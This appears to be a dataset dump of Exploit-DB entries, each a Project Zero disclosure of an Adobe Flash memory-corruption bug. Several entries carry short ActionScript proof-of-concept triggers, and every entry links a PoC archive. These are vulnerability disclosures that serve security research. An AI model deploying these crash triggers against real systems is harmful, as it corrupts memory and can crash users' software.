deardaniel/secdata-raw huggingface dataset:
Exploit-DB #40087
Description: Adobe Flash - ATF Processing Overflow
Type: dos
Platform: multiple
Date: 2016-07-11
Author: Google Security Research

Exploit:
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=786

The attached ATF file causes a heap overflow in ATF processing. To reproduce this issue, put LoadImage.swf and test.png on a remote server, and visit http://127.0.0.1/LoadImage.swf?img=test.png.

To differentiate this from other ATF issues, this is an overflow in decompressing alphas when an image has a height of 1 pixel. 


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40087.zip
Exploit-DB #41610
Description: Adobe Flash - ATF Thumbnailing Heap Overflow
Type: dos
Platform: multiple
Date: 2017-03-15
Author: Google Security Research

Exploit:
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1015

The attached file causes an overflow in heap thumbnailing. To reproduce, place both attached files on a server and visit http://127.0.0.1/LoadImage.swf?img=thumb2.atf


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/41610.zip
Exploit-DB #37865
Description: Adobe Flash - attachMovie Use-After-Free
Type: dos
Platform: multiple
Date: 2015-08-19
Author: Google Security Research

Exploit:
Source: https://code.google.com/p/google-security-research/issues/detail?id=391&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id

There is a use-after-free in attachMovie due to the initObject. If the initObject contains an object that calls a method that deletes the movie clip that is being attached, a use-after-free occurs. A proof-of-concept is as follows:

n = {_quality : {toString : func}};
function func(){
	
	trace("hello");
	
	newResetButton.removeMovieClip();
	return "test";
	}
	
_root.attachMovie("myResetButton","newResetButton",200, n);

A sample fla and swf are attached.

Proof of Concept: 
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37865.zip
Exploit-DB #42017
Description: Adobe Flash - AVC Deblocking Out-of-Bounds Read
Type: dos
Platform: multiple
Date: 2017-05-17
Author: Google Security Research

Exploit:
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1171

The attached swf triggers an out-of-bounds read in AVC deblocking.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42017.zip
Exploit-DB #42247
Description: Adobe Flash - AVC Edge Processing Out-of-Bounds Read
Type: dos
Platform: multiple
Date: 2017-06-23
Author: Google Security Research

Exploit:
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1212

The attached file causes an out-of-bounds read in avc edge processing.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42247.zip
Exploit-DB #41612
Description: Adobe Flash - AVC Header Slicing Heap Overflow
Type: dos
Platform: multiple
Date: 2017-03-15
Author: Google Security Research

Exploit:
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1017

There is a heap overflow in AVC header slicing. To reproduce the issue, put the attached files on a server and visit http://127.0.0.1/LoadImage.swf?img=slice.flv


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/41612.zip
Exploit-DB #37872
Description: Adobe Flash - Bad Write in XML When Callback Modifies XML Tree During Property Delete
Type: dos
Platform: multiple
Date: 2015-08-19
Author: Google Security Research

Exploit:
Source: https://code.google.com/p/google-security-research/issues/detail?id=404&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id

Source file and compiled PoC attached.

Looking at https://github.com/adobe-flash/avmplus/blob/master/core/XMLListObject.cpp:

bool XMLListObject::delUintProperty(uint32_t index)
...
if (index >= _length())      [1]
        {
            return true;
        }
...
    px->childChanges(core->knodeRemoved, r->atom());  [2]
...
    m_children.removeAt(index);   [3]

In [1], the passed in index is validated. In [2], the callback can run actionscript, which might shrink the size of the current XMLList. In [3], the pre-validated index is used but it might now be invalid due to shrinking at [2]. Unfortunately, removeAt() does not behave well in the presence of an out-of-bounds index.

The PoC works by triggering a wild copy in order to demonstrate the crash. But other side-effects are possible such as decrementing the refcount of an out-of-bounds index.

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37872.zip
Exploit-DB #40310
Description: Adobe Flash - BitmapData.copyPixels Use-After-Free
Type: dos
Platform: multiple
Date: 2016-08-29
Author: Google Security Research

Exploit:
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=843

There is a use-after-free in BitmapData.copyPixels. If the method is called on a MovieClip, and the MovieClip is deleted during parameter conversions, it is used to convert future parameters, even though it has already been freed. A minimal proof-of-concept follows:

var mc = this.createEmptyMovieClip( "mc", 1);
var b = new flash.display.BitmapData(10, 10, true, 7);
var f = b.copyPixels;
mc.f = f;
mc.f( {}, { x : { valueOf : func}, y : 0, width : 10, height : 10 }, { x : 0, y :0 }, "natalie", { x : 0, y : 0});


function func(){

	mc.removeMovieClip();
	
	// Fix the heap	
	
	}


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40310.zip
Exploit-DB #39467
Description: Adobe Flash - BitmapData.drawWithQuality Heap Overflow
Type: dos
Platform: multiple
Date: 2016-02-17
Author: Google Security Research

Exploit:
Source: https://code.google.com/p/google-security-research/issues/detail?id=609

The attached fuzz test case causes a crash due to a heap overflow in BitmapData.drawWithQuality.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39467.zip
Exploit-DB #39652
Description: Adobe Flash - Color.setTransform Use-After-Free
Type: dos
Platform: multiple
Date: 2016-04-01
Author: Google Security Research

Exploit:
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=451

If Color.setTransform is set to a transform that deletes the field it is called on, a UaF occurs. A PoC is as follows:

var tf:TextField = this.createTextField("tf",1,1,1,4,4)

var n = new Object();

n.valueOf = function () {
	trace("here");
	tf.removeTextField()
}

var o = {ra: n, rb:8};

var c = new Color(tf)
c.setTransform(o)


A sample swf and fla are attached.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39652.zip
Exploit-DB #40421
Description: Adobe Flash - Crash When Freeing Memory After AVC decoding
Type: dos
Platform: multiple
Date: 2016-09-23
Author: Google Security Research

Exploit:
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=859

There is a crash when the AVC decoder attempts to free memory, likely indicating memory corruption.

Fixed in the September update


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40421.zip
Exploit-DB #37873
Description: Adobe Flash - createTextField Use-After-Free
Type: dos
Platform: multiple
Date: 2015-08-19
Author: Google Security Research

Exploit:
Source: https://code.google.com/p/google-security-research/issues/detail?id=408&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id

There is a use-after-free in CreateTextField. If a flash file contains a MovieClip heirarcy, such as:

_root-->l1-->l2-->l3

If createTextField is called on l2 to create l3, and the call makes a call into a function the deletes l2 or l1, a use-after-free occurs. A POC is as follows:

var l1 = this.createEmptyMovieClip("l1", 1);
var l2 = l1.createEmptyMovieClip("l2", 1);
ns = {toString: strfunc, valueOf: strfunc};
var l3 = l2.createTextField(ns, 1, 0, 0, 10, 10);

function strfunc(){
	
	l2.removeMovieClip();
	return "myname";
	
	}

A sample SWF and fla are attached.

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37873.zip
Exploit-DB #37864
Description: Adobe Flash - Drawing Methods 'this' Use-After-Free
Type: dos
Platform: multiple
Date: 2015-08-19
Author: Google Security Research

Exploit:
Source: https://code.google.com/p/google-security-research/issues/detail?id=388&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id

There are use-after frees realated to storing a single pointer (this this pointer) in several MovieClip drawing methods, including beginFill, beginBitmapFill, beginGradientFill, linGradientStyle, lineTo, moveTo, curveTo and lineStyle. A proof-of-concept involving bitmapFill is bewlo:

import flash.display.*;
import flash.geom.*;

var bmpd:BitmapData = new BitmapData(20,20);
var rect1:Rectangle = new Rectangle(0,0,10,10);
var rect2:Rectangle = new Rectangle(0, 10, 10, 20);
var rect3:Rectangle = new Rectangle(10, 0, 20, 10);
var rect4:Rectangle = new Rectangle(10, 10, 20, 20);
bmpd.fillRect(rect1, 0xAA0000FF);
bmpd.fillRect(rect2, 0xAA00FF00);
bmpd.fillRect(rect3, 0xAAFF0000);
bmpd.fillRect(rect4, 0xAA999999);
var thiz = this;
this.createEmptyMovieClip("bmp_fill_mc", 1);
with (bmp_fill_mc) {
	
	var n = {valueOf: func};
    matrix = {a:2, b:n, c:0, d:2, tx:0, ty:0}; 
    //matrix.rotate(Math.PI/8);
    repeat = true;
    smoothing = true;
    beginBitmapFill(bmpd, matrix, repeat, smoothing);
    moveTo(0, 0);
    lineTo(0, 60);
    lineTo(60, 60);
    lineTo(60, 0);
    lineTo(0, 0);
    endFill();
}

bmp_fill_mc._xscale = 200;
bmp_fill_mc._yscale = 200;

function func(){
	
	var test = thiz.createTextField("test", 1, 1, 1, 10, 10);
	trace(test);
	test.removeTextField();
	return 777;
	} 

A sample fla and swf are attached.

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37864.zip
Exploit-DB #37878
Description: Adobe Flash - FileReference Class Type Confusion
Type: dos
Platform: multiple
Date: 2015-08-19
Author: Google Security Research

Exploit:
Source: https://code.google.com/p/google-security-research/issues/detail?id=422&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id

There is a type confusion issue in the TextFormat constructor that is reachable because the FileReference constructor does not verify that the incoming object is of type Object (it only checks that the object is not native backed). The TextFormat constructor first sets a new object to type TextFormat, and then calls into script several times before setting the native backing object. If one of these script calls then calls into the FileReference constructor, the object can be set to type FileReference, and then the native object will be set to the TextFormat, leading to type confusion. A PoC is as follows:

In the main SWF:

var a = new subfr();
var allTypes:Array = new Array();
var imageTypes:Object = new Object();
imageTypes.description = "Images (*.jpg, *.jpeg, *.gif, *.png)";
imageTypes.extension = "*.jpg; *.jpeg; *.gif; *.png";
allTypes.push(imageTypes);

var textTypes:Object = new Object();
textTypes.description = "Text Files (*.txt, *.rtf)";
textTypes.extension = "*.txt;*.rtf";
allTypes.push(textTypes);
var f = new flash.net.FileReference();
f.cancel.call(a);

Defining subfr:

class subfr extends Object{


	public function subfr(){			
	var n = {valueOf : func};
    this.valueOf = func;
	this.toString = func;
	this.__proto__ = {}; 
	this.__proto__.__constructor__ = TextFormat;
	super(this);

}

function func(){
	
	this.__proto__ = {}; 
	this.__proto__.__constructor__ = flash.net.FileReference;
	super();
	return "natalie";
	}
		
		
}
	
	
A sample SWF and fla are attached.

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37878.zip
Exploit-DB #39466
Description: Adobe Flash - H264 File Stack Corruption
Type: dos
Platform: multiple
Date: 2016-02-17
Author: Google Security Research

Exploit:
Source: https://code.google.com/p/google-security-research/issues/detail?id=633

The attached flv file causes stack corruption when loaded into Flash. To use the PoC, load LoadMP42.swf?file=lownull.flv from a remote server.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39466.zip
Exploit-DB #39464
Description: Adobe Flash - H264 Parsing Out-of-Bounds Read
Type: dos
Platform: multiple
Date: 2016-02-17
Author: Google Security Research

Exploit:
Source: https://code.google.com/p/google-security-research/issues/detail?id=632

There is an out-of-bounds read in H264 parsing, a fuzzed file is attached. To load, load LoadMP4.swf with the URL parameter file=compute_poc.flv from a remote server.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39464.zip
Exploit-DB #39827
Description: Adobe Flash - Heap Overflow in ATF Processing Image Reading
Type: dos
Platform: multiple
Date: 2016-05-17
Author: Google Security Research

Exploit:
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=789

There is a large heap overflow in reading an ATF image to a Bitmap object. To reproduce the issue, load the attach file '4' using LoadImage.swf as follows:

LoadImage.swf?img=4


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39827.zip
Exploit-DB #42248
Description: Adobe Flash - Image Decoding Out-of-Bounds Read
Type: dos
Platform: multiple
Date: 2017-06-23
Author: Google Security Research

Exploit:
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1215

The attached png file causes an out-of-bounds read when being decoded by flash. To reproduce the issue, put LoadImage.swf and read1.png on a server, and visit:

http://127.0.0.1/LoadImage.swf=read1.png


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42248.zip
Exploit-DB #44528
Description: Adobe Flash - Info Leak in Image Inflation
Type: dos
Platform: multiple
Date: 2018-04-24
Author: Google Security Research

Exploit:
The attached image causes an info leak in image inflation. It occasionally crashes when rendered, otherwise it displays uninitialized memory as pixels.

To reproduce, put the attached images on a webserver and vist: http://127.0.0.1?img=inflate.png.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/44528.zip
Exploit-DB #40088
Description: Adobe Flash - JXR Processing Double-Free
Type: dos
Platform: multiple
Date: 2016-07-11
Author: Google Security Research

Exploit:
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=788

There is a heap overflow when loading the attacked JXR file in Adobe Flash. To reproduce, load the attached file using LoadImage.swf?img=12.atf.

This issue can be a bit difficult to reproduce, as the crash occurs when the player is destroyed, so the crash screen doesn't always show up on the Player. The easiest way to detect the issue is to attach a debugger to the Player and refresh a few times.

Took a closer look at this, it is a UaF of plane->model_hp_buffer in the open-source JXR component.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40088.zip
Exploit-DB #39824
Description: Adobe Flash - JXR Processing Out-of-Bounds Read
Type: dos
Platform: multiple
Date: 2016-05-17
Author: Google Security Research

Exploit:
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=791

There is an out-of-bounds read in JXR processing. This issue is probably not exploitable, but could be used an an information leak.

To reproduce the issue, load the attach file '8' using LoadImage.swf as follows:

LoadImage.swf?img=8


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39824.zip
Exploit-DB #40089
Description: Adobe Flash - LMZA Property Decoding Heap Corruption
Type: dos
Platform: multiple
Date: 2016-07-11
Author: Google Security Research

Exploit:
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=790

Loading the attached image causes heap corruption due to LMZA property decoding. To reproduce the issue, load the attach file '6' using LoadImage.swf as follows:

LoadImage.swf?img=6

The issue sometimes takes multiple refreshes to crash


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40089.zip
Exploit-DB #39463
Description: Adobe Flash - LoadVars.decode Use-After-Free
Type: dos
Platform: multiple
Date: 2016-02-17
Author: Google Security Research

Exploit:
Source: https://code.google.com/p/google-security-research/issues/detail?id=667

There is a use-after-free in LoadVars.decode. If a watch is set on the object that the parameters are being decoded into, and the watch deletes the object, then other methods are called on the deleted object after it is freed. A PoC is as follows:

var lv = new LoadVars();
var f = lv.decode;
var tf = this.createTextField("tf",1, 2, 3, 4, 5);
tf.natalie = "not test";
tf.watch("natalie", func);
f.call(tf, "natalie=test&bob=1");
trace(tf.natalie);


function func(){
	
	trace("here");
	tf.removeTextField();	
	return "test";

	}
	

A sample swf and fla are attached. This issue was reproduced in Chrome on 64-bit Ubuntu.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39463.zip
Exploit-DB #42018
Description: Adobe Flash - Margin Handling Heap Corruption
Type: dos
Platform: multiple
Date: 2017-05-17
Author: Google Security Research

Exploit:
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1174

The attached fuzzed swf causes a crash due to heap corruption when processing the margins of a rich text field.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42018.zip
Exploit-DB #41608
Description: Adobe Flash - Metadata Parsing Out-of-Bounds Read
Type: dos
Platform: multiple
Date: 2017-03-15
Author: Google Security Research

Exploit:
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1005

The attached file causes an out-of-bounds read when its metadata is parsed


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/41608.zip
Exploit-DB #40356
Description: Adobe Flash - Method Calls Use-After-Free
Type: dos
Platform: multiple
Date: 2016-09-08
Author: Google Security Research

Exploit:
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=846

If a method is called on a MovieClip, and a getter is set with the name of the method, the getter will get executed during the call, and can free the MovieClip, leading to a user-after-free. A minimal PoC is as follows:

var mc =  this.createEmptyMovieClip( "mc", 1);
mc.addProperty( "f", func, func );
mc.f("hello");

function func(){
	
	mc.removeMovieClip();
	// Fix heap
	var d:Date = new Date();
	return d.getDate;
	
	}	


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40356.zip
Exploit-DB #41609
Description: Adobe Flash - MovieClip Attach init Object Use-After-Free
Type: dos
Platform: multiple
Date: 2017-03-15
Author: Google Security Research

Exploit:
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1006

The attached file causes a use-after-free in attaching a MovieClip and applying the init object.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/41609.zip
Exploit-DB #40311
Description: Adobe Flash - MovieClip Transform Getter Use-After-Free
Type: dos
Platform: multiple
Date: 2016-08-29
Author: Google Security Research

Exploit:
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=844

There is a use-after-free in the MovieClip Transform getter. If the Transform constructor is replaced with a getter using addProperty, this getter can free the MovieClip before it is accessed. A minimal PoC is as follows:

var mc = this.createEmptyMovieClip( "mc", 1);
var tf = flash.geom.Transform;
var g = flash.geom;
g.addProperty("Transform", func, func);
mc.f = ASnative(900, 419);
mc.f();

function func(){
	
	mc.removeMovieClip();
	
        // Fix heap
	}


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40311.zip
Exploit-DB #41420
Description: Adobe Flash - MP4 AMF Parsing Overflow
Type: dos
Platform: multiple
Date: 2017-02-21
Author: Google Security Research

Exploit:
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1018

There is an overflow in MP4 AMF parsing. To reproduce, put the attached files on a server and visit http://127.0.0.1/LoadMP4.swf?file=unsigned.mp4.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/41420.zip
Exploit-DB #37850
Description: Adobe Flash - NetConnection.connect Use-After-Free
Type: dos
Platform: multiple
Date: 2015-08-19
Author: Google Security Research

Exploit:
Source: https://code.google.com/p/google-security-research/issues/detail?id=352&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id

If the fpadInfo property of a NetConnection object is a SharedObject, a use-after-free occurs when the property is deleted. A proof-of-concept is as follows:

var s = SharedObject.getLocal("test");

ASSetPropFlags(s, null, 0, 0xff);
ASSetPropFlags(s.data, null, 0, 0xff);
var q = {myprop  :"natalie", myprop2 : "test"};
s.data.fpadInfo = q;
s.flush();
var n = new NetConnection();
ASnative(2100, 200)(s.data);
n.connect.call(s.data, "");
trace(s.data.fpadInfo);
s = 1;

//GC happens here

setInterval(f, 1000);

function f(){

	ASnative(252, 1).call(q); //Array push
	delete q.myprop;
	
	}

A fla, an AS file and two swfs are attached. shareddelete.fla compiles to shareddelete.swf and contains the code that causes the use-after-free. loadswf.as compiles to loadswf.swf, and sets up the heap to cause a crash. To make the issue occur, put loadswf.swf and shareddelete.swf in the same folder on a webserver (the PoCs don't always work locally due to flash network sandboxing), and load loadswf.swf. This PoC only works on 64-bit systems, but the issue would work on a 32-bit system with proper heap set-up. 

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37850.zip
Exploit-DB #39460
Description: Adobe Flash - Out-of-Bounds Image Read
Type: dos
Platform: multiple
Date: 2016-02-17
Author: Google Security Research

Exploit:
Source: https://code.google.com/p/google-security-research/issues/detail?id=630

The attached file can cause an out-of-bounds read of an image. While the bits of the image are null, the width, height and other values can make it a valid pointer. 


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39460.zip
Exploit-DB #42781
Description: Adobe Flash - Out-of-Bounds Memory Read in MP4 Parsing
Type: dos
Platform: multiple
Date: 2017-09-25
Author: Google Security Research

Exploit:
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1321

The attached MP4 file causes an out-of-bounds memory access when played in flash player.


Proof of Concept:
 
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42781.zip